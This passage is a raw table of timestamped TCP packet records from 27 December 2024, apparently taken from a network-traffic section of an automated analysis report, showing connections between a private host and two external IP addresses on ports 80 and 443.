Dec 27, 2024 22:33:10.990266085 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.990328074 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.990356922 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.990636110 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.990766048 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.990816116 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.992719889 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.992765903 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.992814064 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.992950916 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.992997885 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.993114948 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.994822025 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.994924068 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.994976997 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.995575905 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.995619059 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.995671034 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.996952057 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.997064114 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.997112036 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.998249054 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.998301029 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.998380899 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.999012947 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.999129057 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.999178886 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:11.000931025 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.000983953 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:11.001068115 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.001143932 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.001159906 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.001209974 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:11.003207922 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.003266096 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.003309965 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:11.003578901 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.003622055 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:11.003662109 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.005325079 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.005352974 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.005399942 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:11.006221056 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.006273985 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:11.006438971 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.007448912 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.007473946 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.007524967 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:11.008888960 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.008932114 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:11.009008884 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.009428978 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.009499073 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.009546041 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:11.011588097 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.011673927 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.011691093 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.011754036 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:11.011754990 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:11.011759043 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.013622999 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.013726950 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.013778925 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:11.014230967 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.014281034 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:11.014343977 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.015732050 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.015841961 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.015887022 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:11.016875982 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.016925097 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:11.016979933 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.017817020 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.017904043 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.017949104 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:11.019521952 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.019571066 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:11.019637108 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.019861937 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.019949913 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.019994020 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:11.022015095 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.022109985 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.022159100 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:11.022161007 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.022205114 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:11.022291899 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.024032116 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.024156094 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.024199009 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:11.024785042 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.024858952 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:11.026212931 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.026251078 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.026303053 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:11.028244019 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.045708895 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:11.047300100 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.047427893 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.047585011 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:11.048171997 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.048290014 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.048337936 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:11.049985886 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.050091028 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.050134897 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:11.051789999 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.051815987 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.051862955 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:11.053395987 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.053507090 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.053551912 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:11.055078030 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.055238008 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.055285931 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:11.056770086 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.095115900 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.095164061 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.095263958 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:11.096020937 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.096172094 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.096235037 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:11.098037958 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.098145962 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.098193884 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:11.100084066 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.100214005 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.100270987 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:11.102138042 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.102252007 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.102314949 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:11.104191065 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.104274988 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.104332924 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:11.106165886 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.106276989 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.106350899 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:11.108171940 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.108279943 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.108328104 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:11.110058069 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.110177040 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.110222101 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:11.111965895 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.112107038 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.112168074 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:11.113874912 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.114037037 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.114087105 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:11.115771055 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.115878105 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.115928888 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:11.117711067 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.117820024 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.117913008 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:11.119505882 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.119568110 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.119620085 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:11.121285915 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.121351957 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.121397972 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:11.134917021 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.134968996 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:11.135283947 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.135962009 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:11.136013031 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:11.155092001 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:11.459022999 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:11.501166105 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:11.618697882 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:11.840446949 CET	49745	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:11.840549946 CET	443	49745	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:11.840647936 CET	49745	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:11.860069990 CET	49745	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:11.860101938 CET	443	49745	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:11.896745920 CET	49746	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:11.896792889 CET	443	49746	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:11.896859884 CET	49746	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:11.904170990 CET	49747	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:11.904261112 CET	443	49747	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:11.904345989 CET	49747	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:11.905577898 CET	49746	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:11.905591965 CET	443	49746	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:11.909161091 CET	49747	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:11.909197092 CET	443	49747	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:12.571594000 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:12.691237926 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:12.982350111 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:12.982378006 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:12.982587099 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:12.985136032 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:12.985392094 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:12.985577106 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:12.990453959 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:12.990526915 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:12.992750883 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:12.995840073 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:12.995964050 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:12.996485949 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.001254082 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.001362085 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.001491070 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.006793022 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.006819010 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.006907940 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.071393967 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.071470976 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.074048996 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.074083090 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.074137926 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.079493046 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.079513073 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.079607010 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.079694033 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.084909916 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.084989071 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.086358070 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.090343952 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.090431929 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.090563059 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.095776081 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.095963001 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.099586010 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.101185083 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.101291895 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.102335930 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.106647968 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.106764078 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.106812000 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.112075090 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.112153053 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.112358093 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.117623091 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.117744923 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.118568897 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.122891903 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.123023987 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.123226881 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.128309965 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.149050951 CET	443	49746	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:13.149207115 CET	49746	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:13.150892019 CET	49746	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:13.150902987 CET	443	49746	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:13.151026964 CET	443	49745	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:13.151134968 CET	443	49746	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:13.151134968 CET	49745	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:13.151957035 CET	49745	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:13.151971102 CET	443	49745	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:13.152296066 CET	443	49745	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:13.160379887 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.160485983 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.160502911 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.163167000 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.163182974 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.163469076 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.168488979 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.168572903 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.168670893 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.174788952 CET	443	49747	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:13.174962044 CET	49747	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:13.183566093 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.183717966 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.183753967 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.186283112 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.186366081 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.186395884 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.191689968 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.191772938 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.192030907 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.197117090 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.197253942 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.197284937 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.201970100 CET	49746	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:13.201991081 CET	49745	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:13.202553034 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.202665091 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.202805996 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.207988024 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.208102942 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.208112001 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.213433981 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.213586092 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.213712931 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.218892097 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.218986034 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.219122887 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.223828077 CET	49747	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:13.223875046 CET	443	49747	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:13.224241018 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.224263906 CET	443	49747	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:13.224411964 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.224720001 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.229695082 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.229829073 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.229832888 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.235112906 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.235286951 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.265834093 CET	49745	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:13.265835047 CET	49745	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:13.266100883 CET	443	49745	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:13.272464037 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.272552013 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.272794008 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.273412943 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.273541927 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.273673058 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.276673079 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.276808023 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.277004004 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.279932022 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.280040026 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.282135963 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.283090115 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.283183098 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.286328077 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.286386967 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.286453009 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.286534071 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.289496899 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.289617062 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.292720079 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.292751074 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.292825937 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.295387030 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.295979023 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.296111107 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.299134970 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.299150944 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.299367905 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.299964905 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.302432060 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.302596092 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.302700996 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.305624962 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.305804014 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.306186914 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.308854103 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.308927059 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.309017897 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.312033892 CET	80	49744	147.45.44.131	192.168.2.4
